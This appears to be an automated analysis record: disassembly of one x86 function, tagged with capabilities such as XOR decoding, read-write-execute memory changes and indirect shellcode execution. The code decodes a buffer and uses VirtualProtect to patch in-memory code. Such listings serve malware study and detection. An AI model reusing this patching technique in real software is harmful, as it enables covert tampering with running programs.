Function at 0x100023d0
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push esi
push edi
push 0x100
push 0
push 0x10127548
mov esi, eax
call sub.MSVCR100.dll_memset
add esp, 0xc
xor eax, eax
mov cl, byte [eax + 0x100160a0]
sub cl, 0x1b
xor cl, 0xc
mov byte [eax + 0x10127548], cl
inc eax
cmp eax, 0x100
jb 0x100023f0
mov edx, dword [esi + 0x44]
mov eax, dword [esi + 0x40]
mov ecx, dword [esi + 0x3c]
push edx
mov edx, dword [esi + 0x38]
push eax
mov eax, dword [esi + 0x34]
push ecx
mov ecx, dword [esi + 0x30]
push edx
mov edx, dword [esi + 0x2c]
push eax
mov eax, dword [esi + 0x28]
push ecx
movzx ecx, byte [esi + 0xc]
push edx
movzx edx, byte [esi + 0xb]
push eax
movzx eax, byte [esi + 0xa]
push ecx
movzx ecx, byte [esi + 9]
push edx
movzx edx, byte [esi + 8]
push eax
movzx eax, byte [esi + 7]
push ecx
movzx ecx, byte [esi + 6]
push edx
movzx edx, byte [esi + 5]
push eax
movzx eax, byte [esi + 4]
push ecx
push edx
push eax
push 0x10127548
push 0
mov ecx, 0x1011c7a8
call fcn.10005580
mov al, byte [esi + 4]
add esp, 0x4c
test al, al
jne 0x10002601
mov dword [0x101220dc], 1
call dword [sym.imp.KERNEL32.dll_GetTickCount]
movzx ecx, byte [esi + 5]
movzx edx, byte [esi + 6]
mov edi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov dword [0x101220d0], eax
movzx eax, byte [esi + 7]
mov dword [0x101220d4], ecx
movzx ecx, byte [esi + 8]
mov dword [0x101220d8], edx
movzx edx, byte [esi + 9]
mov dword [0x1012211c], eax
movzx eax, byte [esi + 0xa]
mov dword [0x10122110], ecx
movzx ecx, byte [esi + 0xb]
mov dword [0x10122100], edx
movzx edx, byte [esi + 0xc]
mov dword [0x10122104], eax
mov eax, dword [esi + 0x28]
mov dword [0x10122108], ecx
mov dword [0x1012210c], edx
test eax, eax
je 0x1000251f
mov dword [0x1012212c], eax
lea eax, [ebp - 4]
push eax
push 0x40
push 0x20
push 0x1012203c
call edi
push 0x20
push 0x1011ca0c
push 0x1012203c
call sub.MSVCR100.dll_memcpy
mov edx, dword [ebp - 4]
add esp, 0xc
lea ecx, [ebp - 4]
push ecx
push edx
push 0x20
push 0x1012203c
call edi
mov eax, dword [esi + 0x2c]
test eax, eax
je 0x10002567
mov dword [0x10122130], eax
movzx eax, byte [esi + 0xd]
inc al
mov byte [0x10122034], al
movzx ecx, byte [esi + 0xf]
add cl, 2
mov byte [0x10122035], cl
mov dl, byte [esi + 0x10]
add dl, 3
mov byte [0x10122036], dl
movzx eax, byte [esi + 0x12]
add al, 4
mov byte [0x10122037], al
movzx ecx, byte [esi + 0x13]
add cl, 5
mov byte [0x10122038], cl
mov eax, dword [esi + 0x30]
test eax, eax
je 0x100025be
lea edx, [ebp - 4]
push edx
push 0x40
push 0x11
push 0x10122020
mov dword [0x10122134], eax
call edi
mov eax, dword [esi + 0x15]
mov dword [0x10122020], eax
mov ecx, dword [esi + 0x19]
mov dword [0x10122024], ecx
mov edx, dword [esi + 0x1d]
mov dword [0x10122028], edx
mov eax, dword [esi + 0x21]
mov dword [0x1012202c], eax
mov eax, dword [ebp - 4]
mov cl, byte [esi + 0x25]
lea edx, [ebp - 4]
push edx
push eax
push 0x11
push 0x10122020
mov byte [0x10122030], cl
call edi
mov eax, dword [esi + 0x34]
test eax, eax
je 0x100025ca
mov dword [0x10122120], eax
mov eax, dword [esi + 0x38]
test eax, eax
je 0x100025d6
mov dword [0x10122124], eax
mov eax, dword [esi + 0x3c]
test eax, eax
je 0x100025e2
mov dword [0x10122128], eax
mov eax, dword [esi + 0x40]
test eax, eax
je 0x100025ee
mov dword [0x10122138], eax
mov esi, dword [esi + 0x44]
test esi, esi
je 0x10002653
mov dword [0x1012213c], esi
pop edi
pop esi
mov esp, ebp
pop ebp
ret
movzx eax, al
dec eax
cmp eax, 4
ja case.default.0x1000260a
jmp dword [eax*4 + 0x1000265c]
mov ecx, 8
jmp 0x10002639
mov ecx, 9
jmp 0x10002639
mov ecx, 0xa
jmp 0x10002639
mov ecx, 0xb
jmp 0x10002639
mov ecx, 0xc
jmp 0x10002639
mov ecx, 0xd
push 0x1388
call fcn.10005ce0
push eax
push 1
mov eax, 0x10121a60
call fcn.1000e030
add esp, 0xc
pop edi
pop esi
mov esp, ebp
pop ebp
ret